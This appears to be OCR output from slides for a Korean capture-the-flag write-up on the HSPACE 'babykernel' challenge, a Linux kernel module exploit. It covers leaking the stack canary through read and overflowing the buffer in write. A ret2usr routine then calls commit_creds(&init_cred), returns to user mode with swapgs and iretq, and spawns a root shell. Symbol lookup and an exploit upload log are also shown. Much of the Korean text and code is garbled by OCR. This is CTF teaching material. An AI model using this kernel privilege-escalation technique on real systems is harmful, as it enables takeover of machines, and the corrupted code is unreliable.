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commit creds(&init_cred)

system("/bin/sh")
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struct task struct {
volatile long state;
struct list head tasks;
struct mm_struct *mm;

const struct cred _ _rcu *cred;
char comm[ TASK_COMM_LEN];
struct files_ struct *files;
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cred T-Z2A 7} Bj =7 2] Al AW E FE] gt o 7] ol &= uid, gid, suid, euid 5-©] X3 Yt}

struct cred {
atomic_t usage;

kuid t uid;

kgid_t gid;

kuid t suid;

kgid t sgid;

kuid t euid;

kgid t egid;

kuid t fsuid;

kgid t fsgid;

unsigned securebits;

kernel cap t cap_inheritable;
kernel cap t cap_permitted;
kernel cap t cap_effective;
kernel cap t cap_bset;
kernel cap t cap_ambient;
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commit creds

cred H73

1 B2~ 39 cred(A Y AR)E N2 Loz o] Edt ),
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ruct cred init_cred = {
.usage = ATOMIC INIT(4),
fdef CONFIG_DEBUG_CREDENTIALS
.subscribers = ATOMIC INIT(2),
: CRED_MAGIC,

init_cred :}}_‘ j’” ;-E[j}_\f" | GLOBAL_ROOT_UID,

GLOBAL_ROOT_GID,
GLOBAL_ROOT_UID,
GLOBAL_ROOT_GID,

= .euid GLOBAL_ROOT UID,
RUMRG | : ¢
. | GLOBAL_ROOT_GID,
uid, gid, suid, euid 2+ ROOTY] 3 Y Y T}. - fsul GLOBAL_ROOT_UID,
Fsgic GLOBAL_ROOT_GID,
init_cred< root9] credet =3 S &5 HH. .securebits SECUREBITS_DEFAULT,

p_inheritable = CAP_EMPTY_SET,
cap _permitted CAP_FULL_SET,
; ] = CAP_FULL_SET,
CAP_FULL_SET,
INIT USER,
&init user_ns,

&init _groups,
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static int (*commit_creds)(struct cred *new) = (void *)@;
static void *init_task_ptr = (void *)@;

uinte4 t dummy_stack[1624] attribute_ ((aligned(16)));

void shell(void)
{
execl("/bin/sh”, "sh", NULL);

void ret2usr(void)

{

static struct trap_frame {
void *rip;
uint64 t cs;
uinté4_t rflags;
void *rsp;
uintéd_t ss;

.rip = &shell,

.CS = Bx33,

.rflags = 0x202,

.rsp = dummy_stack + 1024,
.SS = Ox2b

}s

volatile register ui 4 t RSP asm("rsp");
commit_creds(&init task);
RSP = (uint64_t)&tf;

asm volatile(
"cli\n\t"
"swapgs\n\t"
"iretq”
"r" (RSP)
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© babykernel-for_user (2).zip - 2tC| T (AEHHE) = o X
orE BEE #7I) 2306 B2V =M E8EA Challenge 4 Solves =
— Pon o . -
| . ?alﬂ 5 ’ '7 ’ IW 4 babykernel
‘ 7| MZE &5 ol 3=7} Il ALK HAE A I CHO|X| 997
£3 babykernel-for_user (2).zip oz - &% 3| =237 LY EF 2 =
_ babykerel-for_user o
gqemu.sh 168 249 SH m% nc war-chall.hspace.io 55555
&5 initramfs.cpio.gz 1773177 1774367 2=(GZ) T+
| "] Dockerfile 203 309
1] docker-compose.yml 69 100 Yaml & I+ Flag Submit ‘
[ bzimage 7,586,645 7,759,728
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loff_t _ fastcall baby

1

file->f pos = 8

return re

file->f_pos =

return

1s

(file *file, loff_t offset, int orig)
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ssize_ t
char *\

ssize t r

char data[64

unsigned

vlil = _ readgsqword(0x28u);
printk("The baby read() function has been called.”

strcpy(d
*&data[5
*&data[6

2]

0] =
printk("MSG :
printk(“f_pos

15 0
13

inted vi

2

"Welcome to the HSPACE CTF challenge.

OLL;

v8 = &data[*v5];

*buf = *v8;

*(buf
*(buf
*(buf
*(buf
*(buf
*(buf
*(buf

1)
2)
E))
4)
5)
6)
7)

*(v8
*(v8
*(v8
*(v8
*(v8
*(v8
*(v8

result = -14LL;

if ( lbu

return v7;

return r

+

e

size_t count, loff_t *f pos)

)3
Best of luck!\n");
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ssize t _ fastcall baby write(file *filp, const char *buf, size_ t count,

{
ssize t v4;
ssize t v5;
char data[64];
unsigned _ int64 canary;

_fentry (filp, buf, count, f pos);

V5 = v4;

canary = __ readgsqword(©x28u);

printk("The baby write() function has been called.");
printk("Before calling the copy_ from_user() function : %p", data);
if ( copy from user(data, buf, v5) )

return -14LL;
printk("After calling the copy_from_user() function : %p", data);
return v5;

loff_t *f pos)
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write &0 A &= F-3F o 2 BOF7} E] # t},

O

read<+ = SSP 7| 'H5 7-3]517] 98l A Iseek <= f_pos 3+ EQJNEE 7} A7
71d 28 e S oS 5

write 39| A RET 45 749 9 9] ret2usr &= Z%}+sH LPE7} © ).
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(*prepare_kernel cred)
commit_creds)(
t_kallsyr

s\n", &addr, sym)

p(sym, nawe) ) break;
addr NULL;

open(”/dev/baby@

s{“prepare_kernel_cre

ommit_creds");

return 9;
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Jple
Sending chunk 1721/1725
Sending chunk 1722/1725 %
Sending chunk 1723/1725
Sending chunk 1724/1725
Sending chunk 1725/1725
cat /tmp/exp.b64 | base6d -d > /tmp/exp
Switching to interactive mode
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